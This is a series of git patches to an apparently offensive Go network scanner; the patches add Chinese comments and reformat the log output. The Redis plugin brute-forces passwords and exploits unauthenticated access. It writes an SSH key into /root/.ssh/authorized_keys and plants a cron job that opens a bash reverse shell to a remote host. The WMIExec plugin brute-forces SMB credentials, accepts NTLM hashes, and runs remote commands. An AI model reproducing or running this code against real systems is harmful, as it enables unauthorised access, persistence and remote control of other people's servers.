b1883ca707f59c4485abd3676fe992f4ac62e585 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:09:23 +0800 Subject: [PATCH 34/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Redis.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Redis.go | 235 +++++++++++++++++++++++++++++++++++------------ 1 file changed, 176 insertions(+), 59 deletions(-) diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 06d24c5..7b651b4 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -13,159 +13,223 @@ import ( ) var ( - dbfilename string - dir string + dbfilename string // Redis数据库文件名 + dir string // Redis数据库目录 ) +// RedisScan 执行Redis服务扫描 func RedisScan(info *Config.HostInfo) (tmperr error) { starttime := time.Now().Unix() + + // 尝试无密码连接 flag, err := RedisUnauth(info) - if flag == true && err == nil { + if flag && err == nil { return err } + if Common.IsBrute { return } + + // 尝试密码暴力破解 for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", "redis", -1) + flag, err := RedisConn(info, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", info.Host, info.Ports, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { - return err - } } } return tmperr } -func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) { - flag = false +// RedisConn 尝试Redis连接 +func RedisConn(info *Config.HostInfo, pass string) (bool, error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) + + // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { - return flag, err + return false, err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { - return flag, err + + // 设置超时 + if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return false, err } - _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) - if err != nil { - return flag, err + + // 发送认证命令 + if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil { + return false, err } + + // 读取响应 reply, err := readreply(conn) if err != nil { - return flag, err + return false, err } + + // 认证成功 if strings.Contains(reply, "+OK") { - flag = true + // 获取配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) Common.LogSuccess(result) - return flag, err - } else { - result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) - Common.LogSuccess(result) + return true, err } + + result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) + Common.LogSuccess(result) + + // 尝试利用 err = Expoilt(realhost, conn) + return true, err } - return flag, err + + return false, err } +// RedisUnauth 尝试Redis未授权访问检测 func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) + + // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err)) return flag, err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { + + // 设置读取超时 + if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err)) return flag, err } + + // 发送info命令测试未授权访问 _, err = conn.Write([]byte("info\r\n")) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err)) return flag, err } + + // 读取响应 reply, err := readreply(conn) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err)) return flag, err } + + // 判断是否存在未授权访问 if strings.Contains(reply, "redis_version") { flag = true + // 获取Redis配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis %s unauthorized", realhost) + result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost) Common.LogSuccess(result) return flag, err - } else { - result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename) - Common.LogSuccess(result) } + + // 输出详细信息 + result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) + Common.LogSuccess(result) + + // 尝试漏洞利用 err = Expoilt(realhost, conn) + if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err)) + } } + return flag, err } +// Expoilt 尝试Redis漏洞利用 func Expoilt(realhost string, conn net.Conn) error { + // 如果配置为不进行测试则直接返回 if Common.Noredistest { return nil } + + // 测试目录写入权限 flagSsh, flagCron, err := testwrite(conn) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err)) return err } - if flagSsh == true { - result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost) - Common.LogSuccess(result) + + // SSH密钥写入测试 + if flagSsh { + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost)) + + // 如果指定了密钥文件则尝试写入 if Common.RedisFile != "" { writeok, text, err := writekey(conn, Common.RedisFile) if err != nil { - fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) + Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err)) return err } + if writeok { - result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost) - Common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost)) } else { - fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text) + Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text)) } } } - if flagCron == true { - result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost) - Common.LogSuccess(result) + // 定时任务写入测试 + if flagCron { + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost)) + + // 如果指定了shell命令则尝试写入定时任务 if Common.RedisShell != "" { writeok, text, err := writecron(conn, Common.RedisShell) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err)) return err } + if writeok { - result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost) - Common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost)) } else { - fmt.Println("[-] Redis ", realhost, "cron write failed", text) + Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text)) } } } - err = recoverdb(dbfilename, dir, conn) + + // 恢复数据库配置 + if err = recoverdb(dbfilename, dir, conn); err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err)) + } + return err } +// writekey 向Redis写入SSH密钥 func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { flag = false + + // 设置文件目录为SSH目录 _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { return flag, text, err @@ -174,8 +238,10 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 设置文件名为authorized_keys if strings.Contains(text, "OK") { - _, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")) + _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")) if err != nil { return flag, text, err } @@ -183,16 +249,21 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 读取并写入SSH密钥 if strings.Contains(text, "OK") { + // 读取密钥文件 key, err := Readfile(filename) if err != nil { - text = fmt.Sprintf("Open %s error, %v", filename, err) + text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err) return flag, text, err } if len(key) == 0 { - text = fmt.Sprintf("the keyfile %s is empty", filename) + text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename) return flag, text, err } + + // 写入密钥 _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) if err != nil { return flag, text, err @@ -201,6 +272,8 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 保存更改 if strings.Contains(text, "OK") { _, err = conn.Write([]byte("save\r\n")) if err != nil { @@ -216,16 +289,21 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error } } } + + // 截断过长的响应文本 text = strings.TrimSpace(text) if len(text) > 50 { text = text[:50] } + return flag, text, err } +// writecron 向Redis写入定时任务 func writecron(conn net.Conn, host string) (flag bool, text string, err error) { flag = false - // 尝试写入Ubuntu的路径 + + // 首先尝试Ubuntu系统的cron路径 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")) if err != nil { return flag, text, err @@ -234,8 +312,9 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + + // 如果Ubuntu路径失败,尝试CentOS系统的cron路径 if !strings.Contains(text, "OK") { - // 如果没有返回"OK",可能是CentOS,尝试CentOS的路径 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { return flag, text, err @@ -245,7 +324,10 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { return flag, text, err } } + + // 如果成功设置目录,继续后续操作 if strings.Contains(text, "OK") { + // 设置数据库文件名为root _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")) if err != nil { return flag, text, err @@ -254,13 +336,19 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + if strings.Contains(text, "OK") { + // 解析目标主机地址 target := strings.Split(host, ":") if len(target) < 2 { - return flag, "host error", err + return flag, "[-] 主机地址格式错误", err } scanIp, scanPort := target[0], target[1] - _, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort))) + + // 写入反弹shell的定时任务 + cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", + scanIp, scanPort) + _, err = conn.Write([]byte(cronCmd)) if err != nil { return flag, text, err } @@ -268,6 +356,8 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + + // 保存更改 if strings.Contains(text, "OK") { _, err = conn.Write([]byte("save\r\n")) if err != nil { @@ -283,19 +373,24 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { } } } + + // 截断过长的响应文本 text = strings.TrimSpace(text) if len(text) > 50 { text = text[:50] } + return flag, text, err } +// Readfile 读取文件内容并返回第一个非空行 func Readfile(filename string) (string, error) { file, err := os.Open(filename) if err != nil { return "", err } defer file.Close() + scanner := bufio.NewScanner(file) for scanner.Scan() { text := strings.TrimSpace(scanner.Text()) @@ -306,28 +401,35 @@ func Readfile(filename string) (string, error) { return "", err } +// readreply 读取Redis服务器响应 func readreply(conn net.Conn) (string, error) { + // 设置1秒读取超时 conn.SetReadDeadline(time.Now().Add(time.Second)) + bytes, err := io.ReadAll(conn) + // 如果读取到内容则不返回错误 if len(bytes) > 0 { err = nil } return string(bytes), err } +// testwrite 测试Redis写入权限 func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { - var text string + // 测试SSH目录写入权限 _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { return flag, flagCron, err } - text, err = readreply(conn) + text, err := readreply(conn) if err != nil { return flag, flagCron, err } if strings.Contains(text, "OK") { flag = true } + + // 测试定时任务目录写入权限 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { return flag, flagCron, err @@ -339,10 +441,13 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { if strings.Contains(text, "OK") { flagCron = true } + return flag, flagCron, err } +// getconfig 获取Redis配置信息 func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { + // 获取数据库文件名 _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")) if err != nil { return @@ -351,12 +456,16 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { if err != nil { return } + + // 解析数据库文件名 text1 := strings.Split(text, "\r\n") if len(text1) > 2 { dbfilename = text1[len(text1)-2] } else { dbfilename = text1[0] } + + // 获取数据库目录 _, err = conn.Write([]byte("CONFIG GET dir\r\n")) if err != nil { return @@ -365,16 +474,21 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { if err != nil { return } + + // 解析数据库目录 text1 = strings.Split(text, "\r\n") if len(text1) > 2 { dir = text1[len(text1)-2] } else { dir = text1[0] } + return } +// recoverdb 恢复Redis数据库配置 func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { + // 恢复数据库文件名 _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))) if err != nil { return @@ -383,6 +497,8 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } + + // 恢复数据库目录 _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) if err != nil { return @@ -391,5 +507,6 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } + return } From d860eb63b38cd95895fa6f04a9d02c77cd52a1ef Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:15:49 +0800 Subject: [PATCH 35/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96WMIExec.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/WMIExec.go | 47 ++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 43 insertions(+), 4 deletions(-) diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index 5337f03..ad58839 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -12,13 +12,18 @@ import ( "github.com/C-Sto/goWMIExec/pkg/wmiexec" ) -var ClientHost string -var flag bool +// 全局变量 +var ( + ClientHost string // 客户端主机名 + flag bool // 初始化标志 +) +// init 初始化函数 func init() { if flag { return } + // 获取主机名 clientHost, err := os.Hostname() if err != nil { fmt.Println(err) @@ -27,26 +32,41 @@ func init() { flag = true } +// WmiExec 执行WMI远程命令 func WmiExec(info *Config.HostInfo) (tmperr error) { + // 如果是暴力破解模式则跳过 if Common.IsBrute { return nil } + starttime := time.Now().Unix() + + // 遍历用户字典 for _, user := range Common.Userdict["smb"] { PASS: + // 遍历密码字典 for _, pass := range Common.Passwords { + // 替换密码模板中的用户名 pass = strings.Replace(pass, "{user}", user, -1) + + // 尝试WMI连接 flag, err := Wmiexec(info, user, pass, Common.Hash) + + // 记录错误日志 errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = strings.Replace(errlog, "\n", "", -1) Common.LogError(errlog) - if flag == true { + + if flag { + // 成功连接,记录结果 var result string if Common.Domain != "" { result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user) } else { result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user) } + + // 添加认证信息到结果 if Common.Hash != "" { result += "hash: " + Common.Hash } else { @@ -56,13 +76,17 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { return err } else { tmperr = err + // 检查错误是否需要终止 if Common.CheckErrs(err) { return err } + // 检查是否超时 if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) { return err } } + + // 如果使用NTLM Hash,则跳过密码循环 if len(Common.Hash) == 32 { break PASS } @@ -71,13 +95,16 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { return tmperr } +// Wmiexec 包装WMI执行函数 func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) wmiexec.Timeout = int(Common.Timeout) return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil) } +// WMIExec 执行WMI远程命令 func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { + // 初始化WMI配置 if cfgIn == nil { cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil) if err1 != nil { @@ -86,29 +113,41 @@ func WMIExec(target, username, password, hash, domain, command, clientHostname, } cfgIn = &cfg } + + // 创建WMI执行器 execer := wmiexec.NewExecer(cfgIn) + + // 设置目标绑定 err = execer.SetTargetBinding(binding) if err != nil { return } + // 进行认证 err = execer.Auth() if err != nil { return } flag = true + // 如果有命令则执行 if command != "" { + // 使用cmd.exe执行命令 command = "C:\\Windows\\system32\\cmd.exe /c " + command + + // 检查RPC端口 if execer.TargetRPCPort == 0 { - err = errors.New("RPC Port is 0, cannot connect") + err = errors.New("RPC端口为0,无法连接") return } + // 建立RPC连接 err = execer.RPCConnect() if err != nil { return } + + // 执行命令 err = execer.Exec(command) if err != nil { return From 6a33a65c9446e4ed0dcabacb060619513cff415e Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:15:58 +0800 Subject: [PATCH 36/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96WebTitile.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/WebTitle.go | 127 +++++++++++++++++++++++++++++++++----------- 1 file changed, 97 insertions(+), 30 deletions(-) diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index ccc4e98..53201dd 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -19,28 +19,39 @@ import ( "golang.org/x/text/encoding/simplifiedchinese" ) +// WebTitle 获取Web标题并执行扫描 func WebTitle(info *Config.HostInfo) error { + // 如果是webpoc扫描模式,直接执行WebScan if Common.Scantype == "webpoc" { WebScan.WebScan(info) return nil } + + // 获取网站标题信息 err, CheckData := GOWebTitle(info) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) - //不扫描打印机,避免打纸 + + // 检查是否为打印机,避免意外打印 for _, v := range info.Infostr { if v == "打印机" { return nil } } + + // 根据配置决定是否执行漏洞扫描 if !Common.NoPoc && err == nil { WebScan.WebScan(info) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) Common.LogError(errlog) } + return err } + +// GOWebTitle 获取网站标题并处理URL func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) { + // 如果URL未指定,根据端口生成URL if info.Url == "" { switch info.Ports { case "80": @@ -53,6 +64,7 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) } } else { + // 处理未指定协议的URL if !strings.Contains(info.Url, "://") { host := strings.Split(info.Url, "/")[0] protocol := GetProtocol(host, Common.Timeout) @@ -60,12 +72,13 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData } } + // 第一次获取URL err, result, CheckData := geturl(info, 1, CheckData) if err != nil && !strings.Contains(err.Error(), "EOF") { return } - //有跳转 + // 处理URL跳转 if strings.Contains(result, "://") { info.Url = result err, result, CheckData = geturl(info, 3, CheckData) @@ -74,10 +87,12 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData } } + // 处理HTTP到HTTPS的升级 if result == "https" && !strings.HasPrefix(info.Url, "https://") { info.Url = strings.Replace(info.Url, "http://", "https://", 1) err, result, CheckData = geturl(info, 1, CheckData) - //有跳转 + + // 处理升级后的跳转 if strings.Contains(result, "://") { info.Url = result err, _, CheckData = geturl(info, 3, CheckData) @@ -86,22 +101,28 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData } } } - //是否访问图标 - //err, _, CheckData = geturl(info, 2, CheckData) + if err != nil { return } return } +// geturl 获取URL响应内容和信息 +// 参数: +// - info: 主机配置信息 +// - flag: 请求类型标志(1:首次尝试 2:获取favicon 3:处理302跳转 4:处理400转https) +// - CheckData: 检查数据数组 +// +// 返回: +// - error: 错误信息 +// - string: 重定向URL或协议 +// - []WebScan.CheckDatas: 更新后的检查数据 func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { - //flag 1 first try - //flag 2 /favicon.ico - //flag 3 302 - //flag 4 400 -> https - + // 处理目标URL Url := info.Url if flag == 2 { + // 获取favicon.ico的URL URL, err := url.Parse(Url) if err == nil { Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host) @@ -109,61 +130,77 @@ func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er Url += "/favicon.ico" } } + + // 创建HTTP请求 req, err := http.NewRequest("GET", Url, nil) if err != nil { return err, "", CheckData } + + // 设置请求头 req.Header.Set("User-agent", Common.UserAgent) req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") if Common.Cookie != "" { req.Header.Set("Cookie", Common.Cookie) } - //if Common.Pocinfo.Cookie != "" { - // req.Header.Set("Cookie", "rememberMe=1;"+Common.Pocinfo.Cookie) - //} else { - // req.Header.Set("Cookie", "rememberMe=1") - //} req.Header.Set("Connection", "close") + + // 选择HTTP客户端 var client *http.Client if flag == 1 { - client = lib.ClientNoRedirect + client = lib.ClientNoRedirect // 不跟随重定向 } else { - client = lib.Client + client = lib.Client // 跟随重定向 } + // 发送请求 resp, err := client.Do(req) if err != nil { return err, "https", CheckData } - defer resp.Body.Close() - var title string + + // 读取响应内容 body, err := getRespBody(resp) if err != nil { return err, "https", CheckData } + + // 保存检查数据 CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)}) + + // 处理非favicon请求 var reurl string if flag != 2 { + // 处理编码 if !utf8.Valid(body) { body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body) } - title = gettitle(body) + + // 获取页面信息 + title := gettitle(body) length := resp.Header.Get("Content-Length") if length == "" { length = fmt.Sprintf("%v", len(body)) } + + // 处理重定向 redirURL, err1 := resp.Location() if err1 == nil { reurl = redirURL.String() } - result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title) + + // 输出结果 + result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", + resp.Request.URL, resp.StatusCode, length, title) if reurl != "" { - result += fmt.Sprintf(" 跳转url: %s", reurl) + result += fmt.Sprintf(" 重定向地址: %s", reurl) } Common.LogSuccess(result) } + + // 返回结果 if reurl != "" { return nil, reurl, CheckData } @@ -173,14 +210,19 @@ func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er return nil, "", CheckData } +// getRespBody 读取HTTP响应体内容 func getRespBody(oResp *http.Response) ([]byte, error) { var body []byte + + // 处理gzip压缩的响应 if oResp.Header.Get("Content-Encoding") == "gzip" { gr, err := gzip.NewReader(oResp.Body) if err != nil { return nil, err } defer gr.Close() + + // 循环读取解压内容 for { buf := make([]byte, 1024) n, err := gr.Read(buf) @@ -193,6 +235,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { body = append(body, buf...) } } else { + // 直接读取未压缩的响应 raw, err := io.ReadAll(oResp.Body) if err != nil { return nil, err @@ -202,30 +245,41 @@ func getRespBody(oResp *http.Response) ([]byte, error) { return body, nil } +// gettitle 从HTML内容中提取网页标题 func gettitle(body []byte) (title string) { + // 使用正则表达式匹配title标签内容 re := regexp.MustCompile("(?ims)(.*?)") find := re.FindSubmatch(body) + if len(find) > 1 { title = string(find[1]) - title = strings.TrimSpace(title) - title = strings.Replace(title, "\n", "", -1) - title = strings.Replace(title, "\r", "", -1) - title = strings.Replace(title, " ", " ", -1) + + // 清理标题内容 + title = strings.TrimSpace(title) // 去除首尾空格 + title = strings.Replace(title, "\n", "", -1) // 去除换行 + title = strings.Replace(title, "\r", "", -1) // 去除回车 + title = strings.Replace(title, " ", " ", -1) // 替换HTML空格 + + // 截断过长的标题 if len(title) > 100 { title = title[:100] } + + // 处理空标题 if title == "" { - title = "\"\"" //空格 + title = "\"\"" // 空标题显示为双引号 } } else { - title = "None" //没有title + title = "无标题" // 没有找到title标签 } return } +// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS) func GetProtocol(host string, Timeout int64) (protocol string) { protocol = "http" - //如果端口是80或443,跳过Protocol判断 + + // 根据标准端口快速判断协议 if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { return } else if strings.HasSuffix(host, ":443") { @@ -233,11 +287,19 @@ func GetProtocol(host string, Timeout int64) (protocol string) { return } + // 尝试建立TCP连接 socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) if err != nil { return } - conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}) + + // 尝试TLS握手 + conn := tls.Client(socksconn, &tls.Config{ + MinVersion: tls.VersionTLS10, + InsecureSkipVerify: true, + }) + + // 确保连接关闭 defer func() { if conn != nil { defer func() { @@ -248,10 +310,15 @@ func GetProtocol(host string, Timeout int64) (protocol string) { conn.Close() } }() + + // 设置连接超时 conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second)) + + // 执行TLS握手 err = conn.Handshake() if err == nil || strings.Contains(err.Error(), "handshake failure") { protocol = "https" } + return protocol } From 02eb3d6f7a00cec4e1f3eb68eeba73bb37ee058b Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:26:20 +0800 Subject: [PATCH 37/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Client.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Client.go | 174 ++++++++++++++++++++++++++++-------------- 1 file changed, 116 insertions(+), 58 deletions(-) diff --git a/WebScan/lib/Client.go b/WebScan/lib/Client.go index 1337ea9..96aa477 100644 --- a/WebScan/lib/Client.go +++ b/WebScan/lib/Client.go @@ -17,34 +17,43 @@ import ( "time" ) +// 全局HTTP客户端变量 var ( - Client *http.Client - ClientNoRedirect *http.Client - dialTimout = 5 * time.Second - keepAlive = 5 * time.Second + Client *http.Client // 标准HTTP客户端 + ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端 + dialTimout = 5 * time.Second // 连接超时时间 + keepAlive = 5 * time.Second // 连接保持时间 ) +// Inithttp 初始化HTTP客户端配置 func Inithttp() { - //Common.Proxy = "http://127.0.0.1:8080" + // 设置默认并发数 if Common.PocNum == 0 { Common.PocNum = 20 } + // 设置默认超时时间 if Common.WebTimeout == 0 { Common.WebTimeout = 5 } + + // 初始化HTTP客户端 err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second) if err != nil { panic(err) } } +// InitHttpClient 创建HTTP客户端 func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) + + // 配置基础连接参数 dialer := &net.Dialer{ Timeout: dialTimout, KeepAlive: keepAlive, } + // 配置Transport参数 tr := &http.Transport{ DialContext: dialer.DialContext, MaxConnsPerHost: 5, @@ -56,6 +65,7 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err DisableKeepAlives: false, } + // 配置Socks5代理 if Common.Socks5Proxy != "" { dialSocksProxy, err := Common.Socks5Dialer(dialer) if err != nil { @@ -64,9 +74,10 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok { tr.DialContext = contextDialer.DialContext } else { - return 